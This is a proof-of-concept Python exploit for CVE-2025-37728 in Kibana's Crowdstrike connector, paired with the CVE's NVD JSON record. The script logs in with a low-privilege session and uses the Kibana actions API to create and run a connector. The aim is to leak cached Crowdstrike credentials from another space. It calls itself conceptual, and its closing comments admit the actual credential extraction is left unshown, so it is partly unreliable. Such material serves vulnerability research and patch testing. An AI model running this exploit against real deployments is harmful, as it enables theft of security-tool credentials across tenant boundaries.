CVE-2025-37728

# CVE-2025-37728 PoC - Kibana Crowdstrike Connector Credential Leakage # This PoC demonstrates the conceptual exploitation of the insufficiently # protected credentials vulnerability in Kibana's Crowdstrike connector. import requests import json KIBANA_URL = "https://kibana-target.example.com" ATTACKER_SESSION = "attacker_session_cookie" TARGET_SPACE_ID = "default" # Space where victim's Crowdstrike connector exists ATTACKER_SPACE_ID = "attacker-space" # Space attacker has access to # Step 1: Authenticate to Kibana (attacker has low-privilege access to attacker-space) headers = { "kbn-xsrf": "true", "Content-Type": "application/json", "Cookie": f"security_session={ATTACKER_SESSION}" } # Step 2: Create a malicious Crowdstrike connector in attacker's own space connector_payload = { "name": "legitimate-looking-connector", "connector_type_id": ".crowdstrike", "space_id": ATTACKER_SPACE_ID, "config": { # Use dummy credentials - the vulnerability triggers during connector execution "clientId": "dummy_client_id", "clientSecret": "dummy_client_secret" }, "secrets": { # Secrets that will be replaced by leaked credentials due to caching flaw } } print("[*] Creating Crowdstrike connector in attacker's space...") response = requests.post( f"{KIBANA_URL}/api/actions/connector", headers=headers, json=connector_payload, verify=False ) connector_id = response.json().get("id") print(f"[+] Connector created with ID: {connector_id}") # Step 3: Execute the connector to trigger credential cache lookup # The vulnerability causes the connector to read cached credentials # from other spaces during execution execute_payload = { "params": { "subAction": "runQuery", "subActionParams": { "query": "*" } } } print("[*] Executing connector to trigger credential leakage...") response = requests.post( f"{KIBANA_URL}/api/actions/connector/{connector_id}/_execute", headers=headers, json=execute_payload, verify=False ) # Step 4: Extract leaked credentials from response result = response.json() print(f"[+] Execution result: {json.dumps(result, indent=2)}") # In a real exploitation scenario, the leaked Crowdstrike credentials # could be extracted from the connector's internal state or error messages # containing cached credential references from other spaces.

{"cve": {"id": "CVE-2025-37728", "sourceIdentifier": "[email protected]", "published": "2025-10-07T14:15:36.503", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficiently Protected Credentials in the Crowdstrike connector can lead to Crowdstrike credentials being leaked. A malicious user can access cached credentials from a Crowdstrike connector in another space by creating and running a Crowdstrike connector in a space to which they have access."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-522"}]}], "references": [{"url": "https://discuss.elastic.co/t/kibana-crowdstrike-connector-8-18-8-8-19-5-9-0-8-and-9-1-5-security-update-esa-2025-19/382455", "source": "[email protected]"}, {"url": "https://discuss.elastic.co/t/kibana-crowdstrike-connector-8-18-8-8-19-5-9-0-8-and-9-1-5-security-update-esa-2025-19/382455", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}